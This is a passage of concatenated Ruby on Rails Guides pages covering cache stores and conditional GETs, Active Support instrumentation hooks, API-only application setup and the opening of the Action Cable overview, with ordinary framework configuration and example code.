However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can with low level caching.

2 Cache Stores

Rails provides different stores for the cached data (apart from SQL and page caching).

2.1 Configuration

You can set up your application's default cache store by setting the config.cache_store configuration option. Other parameters can be passed as arguments to the cache store's constructor:

config.cache_store = :memory_store, { size: 64.megabytes }

Alternatively, you can call ActionController::Base.cache_store outside of a configuration block.

You can access the cache by calling Rails.cache.

2.2 ActiveSupport::Cache::Store

This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.

The main methods to call are read, write, delete, exist?, and fetch. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.

There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.

- :namespace - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.

- :compress - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.

- :compress_threshold - This option is used in conjunction with the :compress option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.

- :expires_in - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.

- :race_condition_ttl - This option is used in conjunction with the :expires_in option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the :expires_in option.

2.2.1 Custom Cache Stores

You can create your own custom cache store by simply extending ActiveSupport::Cache::Store and implementing the appropriate methods. This way, you can swap in any number of caching technologies into your Rails application.

To use a custom cache store, simply set the cache store to a new instance of your custom class.

config.cache_store = MyCacheStore.new

2.3 ActiveSupport::Cache::MemoryStore

This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by sending the :size option to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.

config.cache_store = :memory_store, { size: 64.megabytes }

If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments. However, it can work well for small, low traffic sites with only a couple of server processes, as well as development and test environments.

2.4 ActiveSupport::Cache::FileStore

This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.

config.cache_store = :file_store, "/path/to/cache/directory"

With this cache store, multiple server processes on the same host can share a cache. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts. Server processes running on different hosts could share a cache by using a shared file system, but that setup is not recommended.

As the cache will grow until the disk is full, it is recommended to periodically clear out old entries.

This is the default cache store implementation.

2.5 ActiveSupport::Cache::MemCacheStore

This cache store uses Danga's memcached server to provide a centralized cache for your application. Rails uses the bundled dalli gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.

When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none are specified, it will assume memcached is running on localhost on the default port, but this is not an ideal setup for larger sites.

The write and fetch methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify :raw to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like increment and decrement only on raw values. You can also specify :unless_exist if you don't want memcached to overwrite an existing entry.

config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"

2.6 ActiveSupport::Cache::NullStore

This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with Rails.cache but caching may interfere with being able to see the results of code changes. With this cache store, all fetch and read operations will result in a miss.

config.cache_store = :null_store

3 Cache Keys

The keys used in a cache can be any object that responds to either cache_key or to_param. You can implement the cache_key method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.

You can use Hashes and Arrays of values as cache keys.

# This is a legal cache key
Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])

The keys you use on Rails.cache will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with Rails.cache and then try to pull them out with the dalli gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.

4 Conditional GET support

Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.

They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.

It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:

class ProductsController < ApplicationController

def show
@product = Product.find(params[:id])

# If the request is stale according to the given timestamp and etag value
# (i.e. it needs to be processed again) then execute this block
if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
respond_to do |wants|
# ... normal response processing
end
end

# If the request is fresh (i.e. it's not modified) then you don't need to do
# anything. The default render checks for this using the parameters
# used in the previous call to stale? and will automatically send a
# :not_modified. So that's it, you're done.
end
end

Instead of an options hash, you can also simply pass in a model. Rails will use the updated_at and cache_key methods for setting last_modified and etag:

class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])

if stale?(@product)
respond_to do |wants|
# ... normal response processing
end
end
end
end

If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you've got an easy helper in fresh_when:

class ProductsController < ApplicationController

# This will automatically send back a :not_modified if the request is fresh,
# and will render the default template (product.*) if it's stale.

def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, etag: @product
end
end

4.1 Strong v/s Weak ETags

Rails generates weak ETags by default. Weak ETags allow semantically equivalent responses to have the same ETags, even if their bodies do not match exactly. This is useful when we don't want the page to be regenerated for minor changes in response body.

Weak ETags have a leading W/ to differentiate them from strong ETags.

W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag
"618bbc92e2d35ea1945008b42799b0e7" → Strong ETag

Unlike weak ETag, strong ETag implies that response should be exactly the same and byte by byte identical. Useful when doing Range requests within a large video or PDF file. Some CDNs support only strong ETags, like Akamai. If you absolutely need to generate a strong ETag, it can be done as follows.

class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, strong_etag: @product
end
end

You can also set the strong ETag directly on the response.

response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"

5 References

- DHH's article on key-based expiration

- Ryan Bates' Railscast on cache digests

Active Support Instrumentation — Ruby...

1 Introduction to instrumentation

The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.

For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be subscribed to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.

You are even able to create your own events inside your application which you can later subscribe to.

2 Rails framework hooks

Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.

3 Action Controller

3.1 write_fragment.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

3.2 read_fragment.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

3.3 expire_fragment.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

3.4 exist_fragment?.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

3.5 write_page.action_controller

Key

Value

:path

The complete path

{
path: '/users/1'
}

3.6 expire_page.action_controller

Key

Value

:path

The complete path

{
path: '/users/1'
}

3.7 start_processing.action_controller

Key

Value

:controller

The controller name

:action

The action

:params

Hash of request parameters without any filtered parameter

:headers

Request headers

:format

html/js/json/xml etc

:method

HTTP request verb

:path

Request path

{
controller: "PostsController",
action: "new",
params: { "action" => "new", "controller" => "posts" },
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts/new"
}

3.8 process_action.action_controller

Key

Value

:controller

The controller name

:action

The action

:params

Hash of request parameters without any filtered parameter

:headers

Request headers

:format

html/js/json/xml etc

:method

HTTP request verb

:path

Request path

:status

HTTP status code

:view_runtime

Amount spent in view in ms

:db_runtime

Amount spent executing database queries in ms

{
controller: "PostsController",
action: "index",
params: {"action" => "index", "controller" => "posts"},
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts",
status: 200,
view_runtime: 46.848,
db_runtime: 0.157
}

3.9 send_file.action_controller

Key

Value

:path

Complete path to the file

Additional keys may be added by the caller.

3.10 send_data.action_controller

ActionController does not had any specific information to the payload. All options are passed through to the payload.

3.11 redirect_to.action_controller

Key

Value

:status

HTTP response code

:location

URL to redirect to

{
status: 302,
location: "http://localhost:3000/posts/new"
}

3.12 halted_callback.action_controller

Key

Value

:filter

Filter that halted the action

{
filter: ":halting_filter"
}

4 Action View

4.1 render_template.action_view

Key

Value

:identifier

Full path to template

:layout

Applicable layout

{
identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
layout: "layouts/application"
}

4.2 render_partial.action_view

Key

Value

:identifier

Full path to template

{
identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
}

4.3 render_collection.action_view

Key

Value

:identifier

Full path to template

:count

Size of collection

:cache_hits

Number of partials fetched from cache

:cache_hits is only included if the collection is rendered with cached: true.

{
identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
count: 3,
cache_hits: 0
}

5 Active Record

5.1 sql.active_record

Key

Value

:sql

SQL statement

:name

Name of the operation

:connection_id

self.object_id

:binds

Bind parameters

The adapters will add their own data as well.

{
sql: "SELECT \"posts\".* FROM \"posts\" ",
name: "Post Load",
connection_id: 70307250813140,
binds: []
}

5.2 instantiation.active_record

Key

Value

:record_count

Number of records that instantiated

:class_name

Record's class

{
record_count: 1,
class_name: "User"
}

6 Action Mailer

6.1 receive.action_mailer

Key

Value

:mailer

Name of the mailer class

:message_id

ID of the message, generated by the Mail gem

:subject

Subject of the mail

:to

To address(es) of the mail

:from

From address of the mail

:bcc

BCC addresses of the mail

:cc

CC addresses of the mail

:date

Date of the mail

:mail

The encoded form of the mail

{
mailer: "Notification",
message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
subject: "Rails Guides",
to: ["users@rails.com", "ddh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "..." # omitted for brevity
}

6.2 deliver.action_mailer

Key

Value

:mailer

Name of the mailer class

:message_id

ID of the message, generated by the Mail gem

:subject

Subject of the mail

:to

To address(es) of the mail

:from

From address of the mail

:bcc

BCC addresses of the mail

:cc

CC addresses of the mail

:date

Date of the mail

:mail

The encoded form of the mail

{
mailer: "Notification",
message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
subject: "Rails Guides",
to: ["users@rails.com", "ddh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "..." # omitted for brevity
}

7 Active Support

7.1 cache_read.active_support

Key

Value

:key

Key used in the store

:hit

If this read is a hit

:super_operation

:fetch is added when a read is used with #fetch

7.2 cache_generate.active_support

This event is only used when #fetch is called with a block.

Key

Value

:key

Key used in the store

Options passed to fetch will be merged with the payload when writing to the store

{
key: 'name-of-complicated-computation'
}

7.3 cache_fetch_hit.active_support

This event is only used when #fetch is called with a block.

Key

Value

:key

Key used in the store

Options passed to fetch will be merged with the payload.

{
key: 'name-of-complicated-computation'
}

7.4 cache_write.active_support

Key

Value

:key

Key used in the store

Cache stores may add their own keys

{
key: 'name-of-complicated-computation'
}

7.5 cache_delete.active_support

Key

Value

:key

Key used in the store

{
key: 'name-of-complicated-computation'
}

7.6 cache_exist?.active_support

Key

Value

:key

Key used in the store

{
key: 'name-of-complicated-computation'
}

8 Active Job

8.1 enqueue_at.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

8.2 enqueue.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

8.3 perform_start.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

8.4 perform.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

9 Railties

9.1 load_config_initializer.railties

Key

Value

:initializer

Path to loaded initializer from config/initializers

10 Rails

10.1 deprecation.rails

Key

Value

:message

The deprecation warning

:callstack

Where the deprecation came from

11 Subscribing to an event

Subscribing to an event is easy. Use ActiveSupport::Notifications.subscribe with a block to listen to any notification.

The block receives the following arguments:

- The name of the event

- Time when it started

- Time when it finished

- A unique ID for this event

- The payload (described in previous sections)

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
# your own custom stuff
Rails.logger.info "#{name} Received!"
end

Defining all those block arguments each time can be tedious. You can easily create an ActiveSupport::Notifications::Event from block arguments like this:

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
event = ActiveSupport::Notifications::Event.new *args

event.name      # => "process_action.action_controller"
event.duration  # => 10 (in milliseconds)
event.payload   # => {:extra=>information}

Rails.logger.info "#{event} Received!"
end

Most times you only care about the data itself. Here is a shortcut to just get the data.

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
data = args.extract_options!
data # { extra: :information }
end

You may also subscribe to events matching a regular expression. This enables you to subscribe to multiple events at once. Here's you could subscribe to everything from ActionController.

ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
# inspect all ActionController events
end

12 Creating custom events

Adding your own events is easy as well. ActiveSupport::Notifications will take care of all the heavy lifting for you. Simply call instrument with a name, payload and a block. The notification will be sent after the block returns. ActiveSupport will generate the start and end times as well as the unique ID. All data passed into the instrument call will make it into the payload.

Here's an example:

ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
# do your custom stuff here
end

Now you can listen to this event with:

ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
puts data.inspect # {:this=>:data}
end

You should follow Rails conventions when defining your own events. The format is: event.library. If you application is sending Tweets, you should create an event named tweet.twitter.

A Guide to Profiling Rails...

Using Rails for API-only Applications...

1 What is an API Application?

Traditionally, when people said that they used Rails as an "API", they meant providing a programmatically accessible API alongside their web application. For example, GitHub provides an API that you can use from your own custom clients.

With the advent of client-side frameworks, more developers are using Rails to build a back-end that is shared between their web application and other native applications.

For example, Twitter uses its public API in its web application, which is built as a static site that consumes JSON resources.

Instead of using Rails to generate HTML that communicates with the server through forms and links, many developers are treating their web application as just an API client delivered as HTML with JavaScript that consumes a JSON API.

This guide covers building a Rails application that serves JSON resources to an API client, including client-side frameworks.

2 Why Use Rails for JSON APIs?

The first question a lot of people have when thinking about building a JSON API using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I just use something like Sinatra?".

For very simple APIs, this may be true. However, even in very HTML-heavy applications, most of an application's logic lives outside of the view layer.

The reason most people use Rails is that it provides a set of defaults that allows developers to get up and running quickly, without having to make a lot of trivial decisions.

Let's take a look at some of the things that Rails provides out of the box that are still applicable to API applications.

Handled at the middleware layer:

- Reloading: Rails applications support transparent reloading. This works even if your application gets big and restarting the server for every request becomes non-viable.

- Development Mode: Rails applications come with smart defaults for development, making development pleasant without compromising production-time performance.

- Test Mode: Ditto development mode.

- Logging: Rails applications log every request, with a level of verbosity appropriate for the current mode. Rails logs in development include information about the request environment, database queries, and basic performance information.

- Security: Rails detects and thwarts IP spoofing attacks and handles cryptographic signatures in a timing attack aware way. Don't know what an IP spoofing attack or a timing attack is? Exactly.

- Parameter Parsing: Want to specify your parameters as JSON instead of as a URL-encoded String? No problem. Rails will decode the JSON for you and make it available in params. Want to use nested URL-encoded parameters? That works too.

- Conditional GETs: Rails handles conditional GET (ETag and Last-Modified) processing request headers and returning the correct response headers and status code. All you need to do is use the stale? check in your controller, and Rails will handle all of the HTTP details for you.

- HEAD requests: Rails will transparently convert HEAD requests into GET ones, and return just the headers on the way out. This makes HEAD work reliably in all Rails APIs.

While you could obviously build these up in terms of existing Rack middleware, this list demonstrates that the default Rails middleware stack provides a lot of value, even if you're "just generating JSON".

Handled at the Action Pack layer:

- Resourceful Routing: If you're building a RESTful JSON API, you want to be using the Rails router. Clean and conventional mapping from HTTP to controllers means not having to spend time thinking about how to model your API in terms of HTTP.

- URL Generation: The flip side of routing is URL generation. A good API based on HTTP includes URLs (see the GitHub Gist API for an example).

- Header and Redirection Responses: head :no_content and redirect_to user_url(current_user) come in handy. Sure, you could manually add the response headers, but why?

- Caching: Rails provides page, action and fragment caching. Fragment caching is especially helpful when building up a nested JSON object.

- Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support for three kinds of HTTP authentication.

- Instrumentation: Rails has an instrumentation API that triggers registered handlers for a variety of events, such as action processing, sending a file or data, redirection, and database queries. The payload of each event comes with relevant information (for the action processing event, the payload includes the controller, action, parameters, request format, request method and the request's full path).

- Generators: It is often handy to generate a resource and get your model, controller, test stubs, and routes created for you in a single command for further tweaking. Same for migrations and others.

- Plugins: Many third-party libraries come with support for Rails that reduce or eliminate the cost of setting up and gluing together the library and the web framework. This includes things like overriding default generators, adding Rake tasks, and honoring Rails choices (like the logger and cache back-end).

Of course, the Rails boot process also glues together all registered components. For example, the Rails boot process is what uses your config/database.yml file when configuring Active Record.

The short version is: you may not have thought about which parts of Rails are still applicable even if you remove the view layer, but the answer turns out to be most of it.

3 The Basic Configuration

If you're building a Rails application that will be an API server first and foremost, you can start with a more limited subset of Rails and add in features as needed.

3.1 Creating a new application

You can generate a new api Rails app:

$ rails new my_api --api

This will do three main things for you:

- Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.

- Make ApplicationController inherit from ActionController::API instead of ActionController::Base. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.

- Configure the generators to skip generating views, helpers and assets when you generate a new resource.

3.2 Changing an existing application

If you want to take an existing application and make it an API one, read the following steps.

In config/application.rb add the following line at the top of the Application class definition:

config.api_only = true

In config/environments/development.rb, set config.debug_exception_response_format to configure the format used in responses when errors occur in development mode.

To render an HTML page with debugging information, use the value :default.

config.debug_exception_response_format = :default

To render debugging information preserving the response format, use the value :api.

config.debug_exception_response_format = :api

By default, config.debug_exception_response_format is set to :api, when config.api_only is set to true.

Finally, inside app/controllers/application_controller.rb, instead of:

class ApplicationController < ActionController::Base
end

do:

class ApplicationController < ActionController::API
end

4 Choosing Middleware

An API application comes with the following middleware by default:

- Rack::Sendfile

- ActionDispatch::Static

- ActionDispatch::Executor

- ActiveSupport::Cache::Strategy::LocalCache::Middleware

- Rack::Runtime

- ActionDispatch::RequestId

- Rails::Rack::Logger

- ActionDispatch::ShowExceptions

- ActionDispatch::DebugExceptions

- ActionDispatch::RemoteIp

- ActionDispatch::Reloader

- ActionDispatch::Callbacks

- Rack::Head

- Rack::ConditionalGet

- Rack::ETag

See the internal middleware section of the Rack guide for further information on them.

Other plugins, including Active Record, may add additional middleware. In general, these middleware are agnostic to the type of application you are building, and make sense in an API-only Rails application.

You can get a list of all middleware in your application via:

$ rails middleware

4.1 Using the Cache Middleware

By default, Rails will add a middleware that provides a cache store based on the configuration of your application (memcache by default). This means that the built-in HTTP cache will rely on it.

For instance, using the stale? method:

def show
@post = Post.find(params[:id])

if stale?(last_modified: @post.updated_at)
render json: @post
end
end

The call to stale? will compare the If-Modified-Since header in the request with @post.updated_at. If the header is newer than the last modified, this action will return a "304 Not Modified" response. Otherwise, it will render the response and include a Last-Modified header in it.

Normally, this mechanism is used on a per-client basis. The cache middleware allows us to share this caching mechanism across clients. We can enable cross-client caching in the call to stale?:

def show
@post = Post.find(params[:id])

if stale?(last_modified: @post.updated_at, public: true)
render json: @post
end
end

This means that the cache middleware will store off the Last-Modified value for a URL in the Rails cache, and add an If-Modified-Since header to any subsequent inbound requests for the same URL.

Think of it as page caching using HTTP semantics.

4.2 Using Rack::Sendfile

When you use the send_file method inside a Rails controller, it sets the X-Sendfile header. Rack::Sendfile is responsible for actually sending the file.

If your front-end server supports accelerated file sending, Rack::Sendfile will offload the actual file sending work to the front-end server.

You can configure the name of the header that your front-end server uses for this purpose using config.action_dispatch.x_sendfile_header in the appropriate environment's configuration file.

You can learn more about how to use Rack::Sendfile with popular front-ends in the Rack::Sendfile documentation.

Here are some values for popular servers, once they are configured, to support accelerated file sending:

# Apache and lighttpd
config.action_dispatch.x_sendfile_header = "X-Sendfile"

# Nginx
config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"

Make sure to configure your server to support these options following the instructions in the Rack::Sendfile documentation.

4.3 Using ActionDispatch::Request

ActionDispatch::Request#params will take parameters from the client in the JSON format and make them available in your controller inside params.

To use this, your client will need to make a request with JSON-encoded parameters and specify the Content-Type as application/json.

Here's an example in jQuery:

jQuery.ajax({
type: 'POST',
url: '/people',
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
success: function(json) { }
});

ActionDispatch::Request will see the Content-Type and your parameters will be:

{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }

4.4 Other Middleware

Rails ships with a number of other middleware that you might want to use in an API application, especially if one of your API clients is the browser:

- Rack::MethodOverride

- ActionDispatch::Cookies

- ActionDispatch::Flash

- For sessions management

- ActionDispatch::Session::CacheStore

- ActionDispatch::Session::CookieStore

- ActionDispatch::Session::MemCacheStore

Any of these middleware can be added via:

config.middleware.use Rack::MethodOverride

4.5 Removing Middleware

If you don't want to use a middleware that is included by default in the API-only middleware set, you can remove it with:

config.middleware.delete ::Rack::Sendfile

Keep in mind that removing these middleware will remove support for certain features in Action Controller.

5 Choosing Controller Modules

An API application (using ActionController::API) comes with the following controller modules by default:

- ActionController::UrlFor: Makes url_for and similar helpers available.

- ActionController::Redirecting: Support for redirect_to.

- AbstractController::Rendering and ActionController::ApiRendering: Basic support for rendering.

- ActionController::Renderers::All: Support for render :json and friends.

- ActionController::ConditionalGet: Support for stale?.

- ActionController::BasicImplicitRender: Makes sure to return an empty response if there's not an explicit one.

- ActionController::StrongParameters: Support for parameters white-listing in combination with Active Model mass assignment.

- ActionController::ForceSSL: Support for force_ssl.

- ActionController::DataStreaming: Support for send_file and send_data.

- AbstractController::Callbacks: Support for before_action and similar helpers.

- ActionController::Rescue: Support for rescue_from.

- ActionController::Instrumentation: Support for the instrumentation hooks defined by Action Controller (see the instrumentation guide for more information regarding this).

- ActionController::ParamsWrapper: Wraps the parameters hash into a nested hash so you don't have to specify root elements sending POST requests for instance.

Other plugins may add additional modules. You can get a list of all modules included into ActionController::API in the rails console:

$ bin/rails c
>> ActionController::API.ancestors - ActionController::Metal.ancestors

5.1 Adding Other Modules

All Action Controller modules know about their dependent modules, so you can feel free to include any modules into your controllers, and all dependencies will be included and set up as well.

Some common modules you might want to add:

- AbstractController::Translation: Support for the l and t localization and translation methods.

- ActionController::HttpAuthentication::Basic (or Digest or Token): Support for basic, digest or token HTTP authentication.

- ActionView::Layouts: Support for layouts when rendering.

- ActionController::MimeResponds: Support for respond_to.

- ActionController::Cookies: Support for cookies, which includes support for signed and encrypted cookies. This requires the cookies middleware.

The best place to add a module is in your ApplicationController, but you can also add modules to individual controllers.

Action Cable Overview — Ruby on Rails...

1 Introduction

Action Cable seamlessly integrates WebSockets with the rest of your Rails application. It allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

2 What is Pub/Sub

Pub/Sub, or Publish-Subscribe, refers to a message queue paradigm whereby senders of information (publishers), send data to an abstract class of recipients (subscribers), without specifying individual recipients. Action Cable uses this approach to communicate between the server and many clients.

3 Server-Side Components

3.1 Connections

Connections form the foundation of the client-server relationship. For every WebSocket accepted by the server, a connection object is instantiated. This object becomes the parent of all the channel subscriptions that are created from there on. The connection itself does not deal with any specific application logic beyond authentication and authorization. The client of a WebSocket connection is called the connection consumer. An individual user will create one consumer-connection pair per browser tab, window, or device they have open.

Connections are instances of ApplicationCable::Connection. In this class, you authorize the incoming connection, and proceed to establish it if the user can be identified.

3.1.1 Connection Setup

# app/channels/application_cable/connection.rb
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user

def connect
self.current_user = find_verified_user
end

protected
def find_verified_user
if current_user = User.find_by(id: cookies.signed[:user_id])
current_user
else
reject_unauthorized_connection
end
end
end
end

Here identified_by is a connection identifier that can be used to find the specific connection later. Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection.

This example relies on the fact that you will already have handled authentication of the user somewhere else in your application, and that a successful authentication sets a signed cookie with the user ID.

The cookie is then automatically sent to the connection instance when a new connection is attempted, and you use that to set the current_user. By identifying the connection by this same current user, you're also ensuring that you can later retrieve all open connections by a given user (and potentially disconnect them all if the user is deleted or deauthorized).

3.2 Channels

A channel encapsulates a logical unit of work, similar to what a controller does in a regular MVC setup. By default, Rails creates a parent ApplicationCable::Channel class for encapsulating shared logic between your channels.

3.2.1 Parent Channel Setup

# app/channels/application_cable/channel.rb
module ApplicationCable
class Channel < ActionCable::Channel::Base
end
end

Then you would create your own channel classes. For example, you could have a ChatChannel and an AppearanceChannel:

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
end

# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
end

A consumer could then be subscribed to either or both of these channels.

3.2.2 Subscriptions

Consumers subscribe to channels, acting as subscribers. Their connection is called a subscription. Produced messages are then routed to these channel subscriptions based on an identifier sent by the cable consumer.

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
# Called when the consumer has successfully
# become a subscriber of this channel.
def subscribed
end
end

4 Client-Side Components

4.1 Connections

Consumers require an instance of the connection on their side. This can be established using the following JavaScript, which is generated by default by Rails:

4.1.1 Connect Consumer

// app/assets/javascripts/cable.js
//= require action_cable
//= require_self
//= require_tree ./channels

(function() {
this.App || (this.App = {});

App.cable = ActionCable.createConsumer();
}).call(this);

This will ready a consumer that'll connect against /cable on your server by default. The connection won't be established until you've also specified at least one subscription you're interested in having.

4.1.2 Subscriber

A consumer becomes a subscriber by creating a subscription to a given channel:

# app/assets/javascripts/cable/subscriptions/chat.coffee
App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }

# app/assets/javascripts/cable/subscriptions/appearance.coffee
App.cable.subscriptions.create { channel: "AppearanceChannel" }

While this creates the subscription, the functionality needed to respond to received data will be described later on.

A consumer can act as a subscriber to a given channel any number of times. For example, a consumer could subscribe to multiple chat rooms at the same time:

App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" }
App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" }

5 Client-Server Interactions

5.1 Streams

Streams provide the mechanism by which channels route published content (broadcasts) to their subscribers.

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end

If you have a stream that is related to a model, then the broadcasting used can be generated from the model and channel. The following example would subscribe to a broadcasting like comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE

class CommentsChannel < ApplicationCable::Channel
def subscribed
post = Post.find(params[:id])
stream_for post
end
end

You can then broadcast to this channel like this:

CommentsChannel.broadcast_to(@post, @comment)

5.2 Broadcasting

A broadcasting is a pub/sub link where anything transmitted by a publisher is routed directly to the channel subscribers who are streaming that named broadcasting. Each channel can be streaming zero or more broadcastings.

Broadcastings are purely an online queue and time dependent. If a consumer is not streaming (subscribed to a given channel), they'll not get the broadcast should they connect later.

Broadcasts are called elsewhere in your Rails application:

WebNotificationsChannel.broadcast_to(
current_user,
title: 'New things!',
body: 'All the news fit to print'
)

The WebNotificationsChannel.broadcast_to call places a message in the current subscription adapter (Redis by default)'s pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be web_notifications_1.

The channel has been instructed to stream everything that arrives at web_notifications_1 directly to the client by invoking the received callback.

5.3 Subscriptions

When a consumer is subscribed to a channel, they act as a subscriber. This connection is called a subscription. Incoming messages are then routed to these channel subscriptions based on an identifier sent by the cable consumer.

# app/assets/javascripts/cable/subscriptions/chat.coffee
# Assumes you've already requested the right to send web notifications
App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
received: (data) ->
@appendLine(data)

appendLine: (data) ->
html = @createLine(data)
$("[data-chat-room='Best Room']").append(html)

createLine: (data) ->
"""
<article class="chat-line">
<span class="speaker">#{data["sent_by"]}</span>
<span class="body">#{data["body"]}</span>
</article>
"""

5.4 Passing Parameters to Channels

You can pass parameters from the client side to the server side when creating a subscription. For example:

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end

An object passed as the first argument to subscriptions.create becomes the params hash in the cable channel. The keyword channel is required:

# app/assets/javascripts/cable/subscriptions/chat.coffee
App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
received: (data) ->
@appendLine(data)

appendLine: (data) ->
html = @createLine(data)
$("[data-chat-room='Best Room']").append(html)

createLine: (data) ->
"""
<article class="chat-line">
<span class="speaker">#{data["sent_by"]}</span>
<span class="body">#{data["body"]}</span>
</article>
"""

# Somewhere in your app this is called, perhaps
# from a NewCommentJob.
ChatChannel.broadcast_to(
"chat_#{room}",
sent_by: 'Paul',
body: 'This is a cool chat app.'
)

5.5 Rebroadcasting a Message

A common use case is to rebroadcast a message sent by one client to any other connected clients.

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end

def receive(data)
